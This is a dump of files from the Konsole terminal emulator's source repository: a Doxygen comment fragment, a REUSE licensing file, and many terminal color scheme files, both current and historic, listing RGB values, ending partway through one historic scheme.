16 | Robert Knight 17 | 18 | @maintainers 19 | Kurt Hindenburg 20 | 21 | @licenses 22 | @gpl 23 | 24 | */ 25 | 26 | // DOXYGEN_EXCLUDE = data desktop developer-doc tests user-doc tools 27 | // DOXYGEN_SET_RECURSIVE = YES 28 | // DOXYGEN_SET_PROJECT_NAME = Konsole 29 | // vim:ts=4:sw=4:expandtab:filetype=doxygen 30 | -------------------------------------------------------------------------------- /REUSE.toml: -------------------------------------------------------------------------------- 1 | version = 1 2 | SPDX-PackageName = "konsole" 3 | SPDX-PackageSupplier = "Kurt Hindenburg " 4 | SPDX-PackageDownloadLocation = "https://invent.kde.org/utilities/konsole" 5 | 6 | [[annotations]] 7 | path = [".gitignore", ".git-blame-ignore-revs", ".krazy", ".editorconfig"] 8 | precedence = "aggregate" 9 | SPDX-FileCopyrightText = "None" 10 | SPDX-License-Identifier = "CC0-1.0" 11 | 12 | [[annotations]] 13 | path = "desktop/konsole.qrc" 14 | precedence = "aggregate" 15 | SPDX-FileCopyrightText = "None" 16 | SPDX-License-Identifier = "CC0-1.0" 17 | -------------------------------------------------------------------------------- /data/color-schemes/BlackOnLightYellow.colorscheme: -------------------------------------------------------------------------------- 1 | [Background] 2 | Color=255,255,221 3 | 4 | [BackgroundIntense] 5 | Color=255,255,221 6 | 7 | [BackgroundFaint] 8 | Color=255,255,221 9 | 10 | [Color0] 11 | Color=0,0,0 12 | 13 | [Color0Intense] 14 | Color=104,104,104 15 | 16 | [Color0Faint] 17 | Color=192,192,192 18 | 19 | [Color1] 20 | Color=178,24,24 21 | 22 | [Color1Intense] 23 | Color=255,84,84 24 | 25 | [Color1Faint] 26 | Color=224,142,142 27 | 28 | [Color2] 29 | Color=24,178,24 30 | 31 | [Color2Intense] 32 | Color=84,255,84 33 | 34 | [Color2Faint] 35 | Color=142,224,142 36 | 37 | [Color3] 38 | Color=178,104,24 39 | 40 | [Color3Intense] 41 | Color=255,255,84 42 | 43 | [Color3Faint] 44 | Color=224,224,142 45 | 46 | [Color4] 47 | Color=24,24,178 48 | 49 | [Color4Intense] 50 | Color=84,84,255 51 | 52 | [Color4Faint] 53 | Color=142,142,224 54 | 55 | [Color5] 56 | Color=178,24,178 57 | 58 | [Color5Intense] 59 | Color=255,84,255 60 | 61 | [Color5Faint] 62 | Color=224,142,224 63 | 64 | [Color6] 65 | Color=24,178,178 66 | 67 | [Color6Intense] 68 | Color=84,255,255 69 | 70 | [Color6Faint] 71 | Color=142,224,224 72 | 73 | [Color7] 74 | Color=178,178,178 75 | 76 | [Color7Intense] 77 | Color=255,255,255 78 | 79 | [Color7Faint] 80 | Color=142,142,142 81 | 82 | [Foreground] 83 | Color=0,0,0 84 | 85 | [ForegroundIntense] 86 | Bold=true 87 | Color=0,0,0 88 | 89 | [ForegroundFaint] 90 | Color=0,0,0 91 | 92 | [General] 93 | Description=Black on Light Yellow 94 | Opacity=1 95 | -------------------------------------------------------------------------------- /data/color-schemes/BlackOnWhite.colorscheme: -------------------------------------------------------------------------------- 1 | [Background] 2 | Color=255,255,255 3 | 4 | [BackgroundIntense] 5 | Color=255,255,255 6 | 7 | [BackgroundFaint] 8 | Color=255,255,255 9 | 10 | [Color0] 11 | Color=0,0,0 12 | 13 | [Color0Intense] 14 | Color=104,104,104 15 | 16 | [Color0Faint] 17 | Color=192,192,192 18 | 19 | [Color1] 20 | Color=178,24,24 21 | 22 | [Color1Intense] 23 | Color=255,84,84 24 | 25 | [Color1Faint] 26 | Color=224,142,142 27 | 28 | [Color2] 29 | Color=24,178,24 30 | 31 | [Color2Intense] 32 | Color=84,255,84 33 | 34 | [Color2Faint] 35 | Color=142,224,142 36 | 37 | [Color3] 38 | Color=178,104,24 39 | 40 | [Color3Intense] 41 | Color=255,255,84 42 | 43 | [Color3Faint] 44 | Color=224,224,142 45 | 46 | [Color4] 47 | Color=24,24,178 48 | 49 | [Color4Intense] 50 | Color=84,84,255 51 | 52 | [Color4Faint] 53 | Color=142,142,224 54 | 55 | [Color5] 56 | Color=178,24,178 57 | 58 | [Color5Intense] 59 | Color=255,84,255 60 | 61 | [Color5Faint] 62 | Color=224,142,224 63 | 64 | [Color6] 65 | Color=24,178,178 66 | 67 | [Color6Intense] 68 | Color=84,255,255 69 | 70 | [Color6Faint] 71 | Color=142,224,224 72 | 73 | [Color7] 74 | Color=178,178,178 75 | 76 | [Color7Intense] 77 | Color=255,255,255 78 | 79 | [Color7Faint] 80 | Color=142,142,142 81 | 82 | [Foreground] 83 | Color=0,0,0 84 | 85 | [ForegroundIntense] 86 | Bold=true 87 | Color=0,0,0 88 | 89 | [ForegroundFaint] 90 | Color=0,0,0 91 | 92 | [General] 93 | Description=Black on White 94 | Opacity=1 95 | -------------------------------------------------------------------------------- /data/color-schemes/BlueOnBlack.colorscheme: -------------------------------------------------------------------------------- 1 | [Background] 2 | Color=0,0,0 3 | 4 | [BackgroundIntense] 5 | Color=0,0,0 6 | 7 | [BackgroundFaint] 8 | Color=0,0,0 9 | 10 | [Color0] 11 | Color=0,0,0 12 | 13 | [Color0Intense] 14 | Color=104,104,104 15 | 16 | [Color0Faint] 17 | Color=192,192,192 18 | 19 | [Color1] 20 | Color=250,0,0 21 | 22 | [Color1Intense] 23 | Color=75,93,255 24 | 25 | [Color1Faint] 26 | Color=250,0,0 27 | 28 | [Color2] 29 | Color=24,178,24 30 | 31 | [Color2Intense] 32 | Color=84,255,84 33 | 34 | [Color2Faint] 35 | Color=142,224,142 36 | 37 | [Color3] 38 | Color=178,104,24 39 | 40 | [Color3Intense] 41 | Color=255,255,84 42 | 43 | [Color3Faint] 44 | Color=224,224,142 45 | 46 | [Color4] 47 | Color=125,152,35 48 | 49 | [Color4Intense] 50 | Color=84,84,255 51 | 52 | [Color4Faint] 53 | Color=125,152,35 54 | 55 | [Color5] 56 | Color=225,30,225 57 | 58 | [Color5Intense] 59 | Color=255,84,255 60 | 61 | [Color5Faint] 62 | Color=175,29,175 63 | 64 | [Color6] 65 | Color=0,134,223 66 | 67 | [Color6Intense] 68 | Color=0,68,255 69 | 70 | [Color6Faint] 71 | Color=0,98,173 72 | 73 | [Color7] 74 | Color=255,255,255 75 | 76 | [Color7Intense] 77 | Color=50,50,50 78 | 79 | [Color7Faint] 80 | Color=200,200,200 81 | 82 | [Foreground] 83 | Color=0,119,255 84 | 85 | [ForegroundIntense] 86 | Bold=true 87 | Color=23,74,240 88 | 89 | [ForegroundFaint] 90 | Color=0,90,195 91 | 92 | [General] 93 | Description=Blue on Black 94 | Opacity=1 95 | -------------------------------------------------------------------------------- /data/color-schemes/Breeze.colorscheme: -------------------------------------------------------------------------------- 1 | [Background] 2 | Color=35,38,39 3 | 4 | [BackgroundFaint] 5 | Color=49,54,59 6 | 7 | [BackgroundIntense] 8 | Color=0,0,0 9 | 10 | [Color0] 11 | Color=35,38,39 12 | 13 | [Color0Faint] 14 | Color=49,54,59 15 | 16 | [Color0Intense] 17 | Color=127,140,141 18 | 19 | [Color1] 20 | Color=237,21,21 21 | 22 | [Color1Faint] 23 | Color=120,50,40 24 | 25 | [Color1Intense] 26 | Color=192,57,43 27 | 28 | [Color2] 29 | Color=17,209,22 30 | 31 | [Color2Faint] 32 | Color=23,162,98 33 | 34 | [Color2Intense] 35 | Color=28,220,154 36 | 37 | [Color3] 38 | Color=246,116,0 39 | 40 | [Color3Faint] 41 | Color=182,86,25 42 | 43 | [Color3Intense] 44 | Color=253,188,75 45 | 46 | [Color4] 47 | Color=29,153,243 48 | 49 | [Color4Faint] 50 | Color=27,102,143 51 | 52 | [Color4Intense] 53 | Color=61,174,233 54 | 55 | [Color5] 56 | Color=155,89,182 57 | 58 | [Color5Faint] 59 | Color=97,74,115 60 | 61 | [Color5Intense] 62 | Color=142,68,173 63 | 64 | [Color6] 65 | Color=26,188,156 66 | 67 | [Color6Faint] 68 | Color=24,108,96 69 | 70 | [Color6Intense] 71 | Color=22,160,133 72 | 73 | [Color7] 74 | Color=252,252,252 75 | 76 | [Color7Faint] 77 | Color=99,104,109 78 | 79 | [Color7Intense] 80 | Color=255,255,255 81 | 82 | [Foreground] 83 | Color=252,252,252 84 | 85 | [ForegroundFaint] 86 | Color=239,240,241 87 | 88 | [ForegroundIntense] 89 | Color=61,174,233 90 | 91 | [General] 92 | Description=Breeze 93 | Opacity=1 94 | Wallpaper= 95 | -------------------------------------------------------------------------------- /data/color-schemes/Campbell.colorscheme: -------------------------------------------------------------------------------- 1 | [Background] 2 | Color=12,12,12 3 | 4 | [BackgroundFaint] 5 | Color=44,44,44 6 | 7 | [BackgroundIntense] 8 | Color=0,0,0 9 | 10 | [Color0] 11 | Color=12,12,12 12 | 13 | [Color0Faint] 14 | Color=44,44,44 15 | 16 | [Color0Intense] 17 | Color=124,124,124 18 | 19 | [Color1] 20 | Color=197,15,31 21 | 22 | [Color1Faint] 23 | Color=150,11,25 24 | 25 | [Color1Intense] 26 | Color=231,72,86 27 | 28 | [Color2] 29 | Color=19,161,14 30 | 31 | [Color2Faint] 32 | Color=16,120,10 33 | 34 | [Color2Intense] 35 | Color=22,198,12 36 | 37 | [Color3] 38 | Color=193,156,0 39 | 40 | [Color3Faint] 41 | Color=150,120,0 42 | 43 | [Color3Intense] 44 | Color=249,241,165 45 | 46 | [Color4] 47 | Color=0,55,218 48 | 49 | [Color4Faint] 50 | Color=0,45,170 51 | 52 | [Color4Intense] 53 | Color=59,120,255 54 | 55 | [Color5] 56 | Color=136,23,152 57 | 58 | [Color5Faint] 59 | Color=106,18,120 60 | 61 | [Color5Intense] 62 | Color=180,0,158 63 | 64 | [Color6] 65 | Color=58,150,221 66 | 67 | [Color6Faint] 68 | Color=47,122,180 69 | 70 | [Color6Intense] 71 | Color=97,214,214 72 | 73 | [Color7] 74 | Color=204,204,204 75 | 76 | [Color7Faint] 77 | Color=170,170,170 78 | 79 | [Color7Intense] 80 | Color=242,242,242 81 | 82 | [Foreground] 83 | Color=204,204,204 84 | 85 | [ForegroundFaint] 86 | Color=170,170,170 87 | 88 | [ForegroundIntense] 89 | Color=255,255,255 90 | 91 | [General] 92 | Anchor=0.5,0.5 93 | Blur=false 94 | ColorRandomization=false 95 | Description=Campbell 96 | FillStyle=Tile 97 | Opacity=1 98 | Wallpaper= 99 | WallpaperFlipType=NoFlip 100 | WallpaperOpacity=1 101 | -------------------------------------------------------------------------------- /data/color-schemes/DarkPastels.colorscheme: -------------------------------------------------------------------------------- 1 | [Background] 2 | Color=44,44,44 3 | 4 | [BackgroundIntense] 5 | Bold=true 6 | Color=44,44,44 7 | 8 | [BackgroundFaint] 9 | Color=44,44,44 10 | 11 | [Color0] 12 | Color=63,63,63 13 | 14 | [Color0Intense] 15 | Bold=true 16 | Color=112,144,128 17 | 18 | [Color0Faint] 19 | Color=52,52,52 20 | 21 | [Color1] 22 | Color=112,80,80 23 | 24 | [Color1Intense] 25 | Bold=true 26 | Color=220,163,163 27 | 28 | [Color1Faint] 29 | Color=102,72,72 30 | 31 | [Color2] 32 | Color=96,180,138 33 | 34 | [Color2Intense] 35 | Bold=true 36 | Color=114,213,163 37 | 38 | [Color2Faint] 39 | Color=87,163,124 40 | 41 | [Color3] 42 | Color=223,175,143 43 | 44 | [Color3Intense] 45 | Bold=true 46 | Color=240,223,175 47 | 48 | [Color3Faint] 49 | Color=170,133,111 50 | 51 | [Color4] 52 | Color=154,184,215 53 | 54 | [Color4Intense] 55 | Bold=true 56 | Color=148,191,243 57 | 58 | [Color4Faint] 59 | Color=117,141,161 60 | 61 | [Color5] 62 | Color=220,140,195 63 | 64 | [Color5Intense] 65 | Bold=true 66 | Color=236,147,211 67 | 68 | [Color5Faint] 69 | Color=154,98,137 70 | 71 | [Color6] 72 | Color=140,208,211 73 | 74 | [Color6Intense] 75 | Bold=true 76 | Color=147,224,227 77 | 78 | [Color6Faint] 79 | Color=107,159,161 80 | 81 | [Color7] 82 | Color=220,220,204 83 | 84 | [Color7Intense] 85 | Bold=true 86 | Color=255,255,255 87 | 88 | [Color7Faint] 89 | Color=149,149,139 90 | 91 | [Foreground] 92 | Color=220,220,204 93 | 94 | [ForegroundIntense] 95 | Bold=true 96 | Color=220,220,204 97 | 98 | [ForegroundFaint] 99 | Color=220,220,204 100 | 101 | [General] 102 | Description=Dark Pastels 103 | Opacity=1 104 | -------------------------------------------------------------------------------- /data/color-schemes/GreenOnBlack.colorscheme: -------------------------------------------------------------------------------- 1 | [Background] 2 | Color=0,0,0 3 | 4 | [BackgroundIntense] 5 | Color=0,0,0 6 | 7 | [BackgroundFaint] 8 | Color=0,0,0 9 | 10 | [Color0] 11 | Color=0,0,0 12 | 13 | [Color0Intense] 14 | Color=104,104,104 15 | 16 | [Color0Faint] 17 | Color=24,24,24 18 | 19 | [Color1] 20 | Color=250,75,75 21 | 22 | [Color1Intense] 23 | Color=255,84,84 24 | 25 | [Color1Faint] 26 | Color=101,25,25 27 | 28 | [Color2] 29 | Color=24,178,24 30 | 31 | [Color2Intense] 32 | Color=84,255,84 33 | 34 | [Color2Faint] 35 | Color=0,101,0 36 | 37 | [Color3] 38 | Color=178,104,24 39 | 40 | [Color3Intense] 41 | Color=255,255,84 42 | 43 | [Color3Faint] 44 | Color=101,74,0 45 | 46 | [Color4] 47 | Color=24,24,178 48 | 49 | [Color4Intense] 50 | Color=84,84,255 51 | 52 | [Color4Faint] 53 | Color=0,0,101 54 | 55 | [Color5] 56 | Color=225,30,225 57 | 58 | [Color5Intense] 59 | Color=255,84,255 60 | 61 | [Color5Faint] 62 | Color=95,5,95 63 | 64 | [Color6] 65 | Color=24,178,178 66 | 67 | [Color6Intense] 68 | Color=84,255,255 69 | 70 | [Color6Faint] 71 | Color=0,101,101 72 | 73 | [Color7] 74 | Color=178,178,178 75 | 76 | [Color7Intense] 77 | Color=255,255,255 78 | 79 | [Color7Faint] 80 | Color=101,101,101 81 | 82 | [Foreground] 83 | Color=24,240,24 84 | 85 | [ForegroundIntense] 86 | Bold=true 87 | Color=24,240,24 88 | 89 | [ForegroundFaint] 90 | Color=18,200,18 91 | 92 | [General] 93 | Description=Green on Black 94 | Opacity=1 95 | -------------------------------------------------------------------------------- /data/color-schemes/Linux.colorscheme: -------------------------------------------------------------------------------- 1 | [Background] 2 | Color=0,0,0 3 | 4 | [BackgroundIntense] 5 | Color=104,104,104 6 | 7 | [BackgroundFaint] 8 | Color=0,0,0 9 | 10 | [Color0] 11 | Color=0,0,0 12 | 13 | [Color0Intense] 14 | Color=104,104,104 15 | 16 | [Color0Faint] 17 | Color=24,24,24 18 | 19 | [Color1] 20 | Color=178,24,24 21 | 22 | [Color1Intense] 23 | Color=255,84,84 24 | 25 | [Color1Faint] 26 | Color=101,0,0 27 | 28 | [Color2] 29 | Color=24,178,24 30 | 31 | [Color2Intense] 32 | Color=84,255,84 33 | 34 | [Color2Faint] 35 | Color=0,101,0 36 | 37 | [Color3] 38 | Color=178,104,24 39 | 40 | [Color3Intense] 41 | Color=255,255,84 42 | 43 | [Color3Faint] 44 | Color=101,94,0 45 | 46 | [Color4] 47 | Color=24,24,178 48 | 49 | [Color4Intense] 50 | Color=84,84,255 51 | 52 | [Color4Faint] 53 | Color=0,0,101 54 | 55 | [Color5] 56 | Color=178,24,178 57 | 58 | [Color5Intense] 59 | Color=255,84,255 60 | 61 | [Color5Faint] 62 | Color=101,0,101 63 | 64 | [Color6] 65 | Color=24,178,178 66 | 67 | [Color6Intense] 68 | Color=84,255,255 69 | 70 | [Color6Faint] 71 | Color=0,101,101 72 | 73 | [Color7] 74 | Color=178,178,178 75 | 76 | [Color7Intense] 77 | Color=255,255,255 78 | 79 | [Color7Faint] 80 | Color=101,101,101 81 | 82 | [Foreground] 83 | Color=178,178,178 84 | 85 | [ForegroundIntense] 86 | Color=255,255,255 87 | 88 | [ForegroundFaint] 89 | Color=101,101,101 90 | 91 | [General] 92 | Description=Linux Colors 93 | -------------------------------------------------------------------------------- /data/color-schemes/RedOnBlack.colorscheme: -------------------------------------------------------------------------------- 1 | [Background] 2 | Color=0,0,0 3 | 4 | [BackgroundIntense] 5 | Color=0,0,0 6 | 7 | [BackgroundFaint] 8 | Color=0,0,0 9 | 10 | [Color0] 11 | Color=0,0,0 12 | 13 | [Color0Intense] 14 | Color=104,104,104 15 | 16 | [Color0Faint] 17 | Color=24,24,24 18 | 19 | [Color1] 20 | Color=250,142,8 21 | 22 | [Color1Intense] 23 | Color=255,84,84 24 | 25 | [Color1Faint] 26 | Color=101,25,0 27 | 28 | [Color2] 29 | Color=24,178,24 30 | 31 | [Color2Intense] 32 | Color=84,255,84 33 | 34 | [Color2Faint] 35 | Color=0,101,0 36 | 37 | [Color3] 38 | Color=178,104,24 39 | 40 | [Color3Intense] 41 | Color=255,255,84 42 | 43 | [Color3Faint] 44 | Color=101,74,0 45 | 46 | [Color4] 47 | Color=30,71,152 48 | 49 | [Color4Intense] 50 | Color=84,84,255 51 | 52 | [Color4Faint] 53 | Color=0,24,102 54 | 55 | [Color5] 56 | Color=225,30,225 57 | 58 | [Color5Intense] 59 | Color=255,84,255 60 | 61 | [Color5Faint] 62 | Color=95,5,95 63 | 64 | [Color6] 65 | Color=0,134,223 66 | 67 | [Color6Intense] 68 | Color=255,0,4 69 | 70 | [Color6Faint] 71 | Color=0,94,163 72 | 73 | [Color7] 74 | Color=255,255,255 75 | 76 | [Color7Intense] 77 | Color=50,50,50 78 | 79 | [Color7Faint] 80 | Color=101,101,101 81 | 82 | [Foreground] 83 | Color=255,0,0 84 | 85 | [ForegroundIntense] 86 | Bold=true 87 | Color=24,240,24 88 | 89 | [ForegroundFaint] 90 | Color=205,0,0 91 | 92 | [General] 93 | Description=Red on Black 94 | Opacity=1 95 | -------------------------------------------------------------------------------- /data/color-schemes/Solarized.colorscheme: -------------------------------------------------------------------------------- 1 | [Color0] 2 | Color=7,54,66 3 | 4 | [Color0Intense] 5 | Color=0,43,54 6 | 7 | [Color0Faint] 8 | Color=6,48,59 9 | 10 | [Color1] 11 | Color=220,50,47 12 | 13 | [Color1Intense] 14 | Color=203,75,22 15 | 16 | [Color1Faint] 17 | Color=147,33,31 18 | 19 | [Color2] 20 | Color=133,153,0 21 | 22 | [Color2Intense] 23 | Color=88,110,117 24 | 25 | [Color2Faint] 26 | Color=94,106,0 27 | 28 | [Color3] 29 | Color=181,137,0 30 | 31 | [Color3Intense] 32 | Color=101,123,131 33 | 34 | [Color3Faint] 35 | Color=138,103,0 36 | 37 | [Color4] 38 | Color=38,139,210 39 | 40 | [Color4Intense] 41 | Color=131,148,150 42 | 43 | [Color4Faint] 44 | Color=20,77,115 45 | 46 | [Color5] 47 | Color=211,54,130 48 | 49 | [Color5Intense] 50 | Color=108,113,196 51 | 52 | [Color5Faint] 53 | Color=120,30,75 54 | 55 | [Color6] 56 | Color=42,161,152 57 | 58 | [Color6Intense] 59 | Color=147,161,161 60 | 61 | [Color6Faint] 62 | Color=24,94,88 63 | 64 | [Color7] 65 | Color=238,232,213 66 | 67 | [Color7Intense] 68 | Color=253,246,227 69 | 70 | [Color7Faint] 71 | Color=171,167,154 72 | 73 | [Background] 74 | Color=0,43,54 75 | 76 | [BackgroundIntense] 77 | Color=7,54,66 78 | 79 | [BackgroundFaint] 80 | Color=0,43,54 81 | 82 | [Foreground] 83 | Color=131,148,150 84 | 85 | [ForegroundIntense] 86 | Color=147,161,161 87 | 88 | [ForegroundFaint] 89 | Color=106,119,121 90 | 91 | [General] 92 | Description=Solarized 93 | Opacity=1 94 | -------------------------------------------------------------------------------- /data/color-schemes/SolarizedLight.colorscheme: -------------------------------------------------------------------------------- 1 | [Color0] 2 | Color=7,54,66 3 | 4 | [Color0Intense] 5 | Color=0,43,54 6 | 7 | [Color0Faint] 8 | Color=8,65,80 9 | 10 | [Color1] 11 | Color=220,50,47 12 | 13 | [Color1Intense] 14 | Color=203,75,22 15 | 16 | [Color1Faint] 17 | Color=222,81,81 18 | 19 | [Color2] 20 | Color=133,153,0 21 | 22 | [Color2Intense] 23 | Color=88,110,117 24 | 25 | [Color2Faint] 26 | Color=153,168,39 27 | 28 | [Color3] 29 | Color=181,137,0 30 | 31 | [Color3Intense] 32 | Color=101,123,131 33 | 34 | [Color3Faint] 35 | Color=213,170,49 36 | 37 | [Color4] 38 | Color=38,139,210 39 | 40 | [Color4Intense] 41 | Color=131,148,150 42 | 43 | [Color4Faint] 44 | Color=80,173,226 45 | 46 | [Color5] 47 | Color=211,54,130 48 | 49 | [Color5Intense] 50 | Color=108,113,196 51 | 52 | [Color5Faint] 53 | Color=223,92,158 54 | 55 | [Color6] 56 | Color=42,161,152 57 | 58 | [Color6Intense] 59 | Color=147,161,161 60 | 61 | [Color6Faint] 62 | Color=78,211,200 63 | 64 | [Color7] 65 | Color=238,232,213 66 | 67 | [Color7Intense] 68 | Color=253,246,227 69 | 70 | [Color7Faint] 71 | Color=238,232,213 72 | 73 | [Background] 74 | Color=253,246,227 75 | 76 | [BackgroundIntense] 77 | Color=238,232,213 78 | 79 | [BackgroundFaint] 80 | Color=253,246,227 81 | 82 | [Foreground] 83 | Color=101,123,131 84 | 85 | [ForegroundIntense] 86 | Color=88,110,117 87 | 88 | [ForegroundFaint] 89 | Color=141,172,182 90 | 91 | [General] 92 | Description=Solarized Light 93 | Opacity=1 94 | -------------------------------------------------------------------------------- /data/color-schemes/WhiteOnBlack.colorscheme: -------------------------------------------------------------------------------- 1 | [Background] 2 | Color=0,0,0 3 | 4 | [BackgroundIntense] 5 | Color=0,0,0 6 | 7 | [BackgroundFaint] 8 | Color=0,0,0 9 | 10 | [Color0] 11 | Color=0,0,0 12 | 13 | [Color0Intense] 14 | Color=104,104,104 15 | 16 | [Color0Faint] 17 | Color=24,24,24 18 | 19 | [Color1] 20 | Color=178,24,24 21 | 22 | [Color1Intense] 23 | Color=255,84,84 24 | 25 | [Color1Faint] 26 | Color=101,0,0 27 | 28 | [Color2] 29 | Color=24,178,24 30 | 31 | [Color2Intense] 32 | Color=84,255,84 33 | 34 | [Color2Faint] 35 | Color=0,101,0 36 | 37 | [Color3] 38 | Color=178,104,24 39 | 40 | [Color3Intense] 41 | Color=255,255,84 42 | 43 | [Color3Faint] 44 | Color=101,74,0 45 | 46 | [Color4] 47 | Color=24,24,178 48 | 49 | [Color4Intense] 50 | Color=84,84,255 51 | 52 | [Color4Faint] 53 | Color=0,0,101 54 | 55 | [Color5] 56 | Color=178,24,178 57 | 58 | [Color5Intense] 59 | Color=255,84,255 60 | 61 | [Color5Faint] 62 | Color=95,5,95 63 | 64 | [Color6] 65 | Color=24,178,178 66 | 67 | [Color6Intense] 68 | Color=84,255,255 69 | 70 | [Color6Faint] 71 | Color=24,178,178 72 | 73 | [Color7] 74 | Color=178,178,178 75 | 76 | [Color7Intense] 77 | Color=255,255,255 78 | 79 | [Color7Faint] 80 | Color=101,101,101 81 | 82 | [Foreground] 83 | Color=255,255,255 84 | 85 | [ForegroundIntense] 86 | Bold=true 87 | Color=255,255,255 88 | 89 | [ForegroundFaint] 90 | Color=255,255,255 91 | 92 | [General] 93 | Description=White on Black 94 | Opacity=1 95 | -------------------------------------------------------------------------------- /data/color-schemes/historic/BlackOnLightColor.schema: -------------------------------------------------------------------------------- 1 | # example scheme for konsole 2 | 3 | # the title is to appear in the menu. 4 | 5 | title Black on Light Color 6 | 7 | # foreground colors 8 | 9 | # note that the default background color is flagged 10 | # to become transparent when an image is present. 11 | 12 | # slot transparent bold 13 | # | | | 14 | # V V--color--V V V 15 | 16 | color 0 0 0 0 0 0 # regular foreground color (Black) 17 | rcolor 1 30 255 1 0 # regular background color (Light Color) 18 | 19 | color 2 0 0 0 0 0 # regular color 0 Black 20 | color 3 178 24 24 0 0 # regular color 1 Red 21 | color 4 24 178 24 0 0 # regular color 2 Green 22 | color 5 178 104 24 0 0 # regular color 3 Yellow 23 | color 6 24 24 178 0 0 # regular color 4 Blue 24 | color 7 178 24 178 0 0 # regular color 5 Magenta 25 | color 8 24 178 178 0 0 # regular color 6 Cyan 26 | color 9 178 178 178 0 0 # regular color 7 White 27 | 28 | # intensive colors 29 | 30 | # instead of changing the colors, we've flaged the text to become bold 31 | 32 | color 10 0 0 0 0 1 # intensive foreground color 33 | color 11 255 255 221 1 0 # intensive background color 34 | 35 | color 12 104 104 104 0 0 # intensive color 0 36 | color 13 255 84 84 0 0 # intensive color 1 37 | color 14 84 255 84 0 0 # intensive color 2 38 | color 15 255 255 84 0 0 # intensive color 3 39 | color 16 84 84 255 0 0 # intensive color 4 40 | color 17 255 84 255 0 0 # intensive color 5 41 | color 18 84 255 255 0 0 # intensive color 6 42 | color 19 255 255 255 0 0 # intensive color 7 43 | -------------------------------------------------------------------------------- /data/color-schemes/historic/BlackOnLightYellow.schema: -------------------------------------------------------------------------------- 1 | # example scheme for konsole 2 | 3 | # the title is to appear in the menu. 4 | 5 | title Black on Light Yellow 6 | 7 | # foreground colors 8 | 9 | # note that the default background color is flagged 10 | # to become transparent when an image is present. 11 | 12 | # slot transparent bold 13 | # | | | 14 | # V V--color--V V V 15 | 16 | color 0 0 0 0 0 0 # regular foreground color (Black) 17 | color 1 255 255 221 1 0 # regular background color (Light Yellow) 18 | 19 | color 2 0 0 0 0 0 # regular color 0 Black 20 | color 3 178 24 24 0 0 # regular color 1 Red 21 | color 4 24 178 24 0 0 # regular color 2 Green 22 | color 5 178 104 24 0 0 # regular color 3 Yellow 23 | color 6 24 24 178 0 0 # regular color 4 Blue 24 | color 7 178 24 178 0 0 # regular color 5 Magenta 25 | color 8 24 178 178 0 0 # regular color 6 Cyan 26 | color 9 178 178 178 0 0 # regular color 7 White 27 | 28 | # intensive colors 29 | 30 | # instead of changing the colors, we've flaged the text to become bold 31 | 32 | color 10 0 0 0 0 1 # intensive foreground color 33 | color 11 255 255 221 1 0 # intensive background color 34 | 35 | color 12 104 104 104 0 0 # intensive color 0 36 | color 13 255 84 84 0 0 # intensive color 1 37 | color 14 84 255 84 0 0 # intensive color 2 38 | color 15 255 255 84 0 0 # intensive color 3 39 | color 16 84 84 255 0 0 # intensive color 4 40 | color 17 255 84 255 0 0 # intensive color 5 41 | color 18 84 255 255 0 0 # intensive color 6 42 | color 19 255 255 255 0 0 # intensive color 7 43 | -------------------------------------------------------------------------------- /data/color-schemes/historic/BlackOnWhite.schema: -------------------------------------------------------------------------------- 1 | # example scheme for konsole 2 | 3 | # the title is to appear in the menu. 4 | 5 | title Black on White 6 | 7 | # foreground colors 8 | 9 | # note that the default background color is flagged 10 | # to become transparent when an image is present. 11 | 12 | # slot transparent bold 13 | # | | | 14 | # V V--color--V V V 15 | 16 | color 0 0 0 0 0 0 # regular foreground color (Black) 17 | color 1 255 255 255 1 0 # regular background color (White) 18 | 19 | color 2 0 0 0 0 0 # regular color 0 Black 20 | color 3 178 24 24 0 0 # regular color 1 Red 21 | color 4 24 178 24 0 0 # regular color 2 Green 22 | color 5 178 104 24 0 0 # regular color 3 Yellow 23 | color 6 24 24 178 0 0 # regular color 4 Blue 24 | color 7 178 24 178 0 0 # regular color 5 Magenta 25 | color 8 24 178 178 0 0 # regular color 6 Cyan 26 | color 9 178 178 178 0 0 # regular color 7 White 27 | 28 | # intensive colors 29 | 30 | # instead of changing the colors, we've flaged the text to become bold 31 | 32 | color 10 0 0 0 0 1 # intensive foreground color 33 | color 11 255 255 255 1 0 # intensive background color 34 | 35 | color 12 104 104 104 0 0 # intensive color 0 36 | color 13 255 84 84 0 0 # intensive color 1 37 | color 14 84 255 84 0 0 # intensive color 2 38 | color 15 255 255 84 0 0 # intensive color 3 39 | color 16 84 84 255 0 0 # intensive color 4 40 | color 17 255 84 255 0 0 # intensive color 5 41 | color 18 84 255 255 0 0 # intensive color 6 42 | color 19 255 255 255 0 0 # intensive color 7 43 | -------------------------------------------------------------------------------- /data/color-schemes/historic/DarkPicture.schema: -------------------------------------------------------------------------------- 1 | # example scheme for konsole 2 | 3 | # the title is to appear in the menu. 4 | 5 | title Marble 6 | 7 | image tile Blkmarble.jpg 8 | 9 | # foreground colors 10 | 11 | # note that the default background color is flagged 12 | # to become transparent when an image is present. 13 | 14 | # slot transparent bold 15 | # | | | 16 | # V V--color--V V V 17 | 18 | color 0 255 255 255 0 0 # regular foreground color (White) 19 | color 1 0 0 0 1 0 # regular background color (Black) 20 | 21 | color 2 0 0 0 0 0 # regular color 0 Black 22 | color 3 178 24 24 0 0 # regular color 1 Red 23 | color 4 24 178 24 0 0 # regular color 2 Green 24 | color 5 178 104 24 0 0 # regular color 3 Yellow 25 | color 6 24 24 178 0 0 # regular color 4 Blue 26 | color 7 178 24 178 0 0 # regular color 5 Magenta 27 | color 8 24 178 178 0 0 # regular color 6 Cyan 28 | color 9 178 178 178 0 0 # regular color 7 White 29 | 30 | # intensive colors 31 | 32 | # instead of changing the colors, we've flaged the text to become bold 33 | 34 | color 10 255 255 255 0 1 # intensive foreground color 35 | color 11 0 0 0 1 0 # intensive background color 36 | 37 | color 12 104 104 104 0 0 # intensive color 0 38 | color 13 255 84 84 0 0 # intensive color 1 39 | color 14 84 255 84 0 0 # intensive color 2 40 | color 15 255 255 84 0 0 # intensive color 3 41 | color 16 84 84 255 0 0 # intensive color 4 42 | color 17 255 84 255 0 0 # intensive color 5 43 | color 18 84 255 255 0 0 # intensive color 6 44 | color 19 255 255 255 0 0 # intensive color 7 45 | -------------------------------------------------------------------------------- /data/color-schemes/historic/GreenOnBlack.schema: -------------------------------------------------------------------------------- 1 | # example scheme for konsole 2 | 3 | # the title is to appear in the menu. 4 | 5 | title Green on Black 6 | 7 | # foreground colors 8 | 9 | # note that the default background color is flagged 10 | # to become transparent when an image is present. 11 | 12 | # slot transparent bold 13 | # | | | 14 | # V V--color--V V V 15 | 16 | color 0 24 240 24 0 0 # regular foreground color (Green) 17 